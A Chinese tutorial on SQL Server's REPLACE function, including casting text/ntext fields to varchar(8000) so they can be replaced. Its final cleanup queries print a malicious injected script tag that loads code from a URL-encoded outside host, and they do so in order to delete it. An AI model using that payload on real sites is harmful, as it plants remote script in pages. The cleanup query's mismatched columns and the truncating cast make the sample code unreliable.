SQL中的REPLACE替換字符函數的用法(使之支持textntext)

SQL中的REPLACE替換字符函數的用法(使之支持text/ntext)
語法 
REPLACE ( original-string, search-string, replace-string )
參數 
如果有某個參數爲 NULL,此函數返回 NULL。

original-string     被搜索的字符串。可爲任意長度。

search-string     要搜索並被 replace-string 替換的字符串。該字符串的長度不應超過 255 個字節。如果 search-string 是空字符串,則按原樣返回原始字符串。

replace-string     該字符串用於替換 search-string。可爲任意長度。如果 replacement-string 是空字符串,則刪除出現的所有 search-string。


例子:
UPDATE tableName SET recordName=REPLACE(recordName,'abc','ddd')
將表tableName中的recordName字段中的 abc 替換爲 ddd


這個函數有一點不足是不支持 text,ntext類型字段的替換,可以通過下面的語句來實現:
update tableName set recordName=replace(cast(recordName as varchar(8000)) ,'abc','ddd')
通過 cast 函數把text字段的內容轉換爲varchar類型再進行替換
cast(wj_content as varchar(8000)) 
update tb_products set p_contacts=REPLACE(cast(wj_content as varchar(8000)) ,'</title><script src=http://%68%69%39%2E%73%73%2E%6C%61></script>','') where wj_content like '%</title><script src=http://%68%69%39%2E%73%73%2E%6C%61></script>%' 
update tb_news   set new_title=REPLACE(new_title,'</title>','') where new_title like '%</title>%'



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章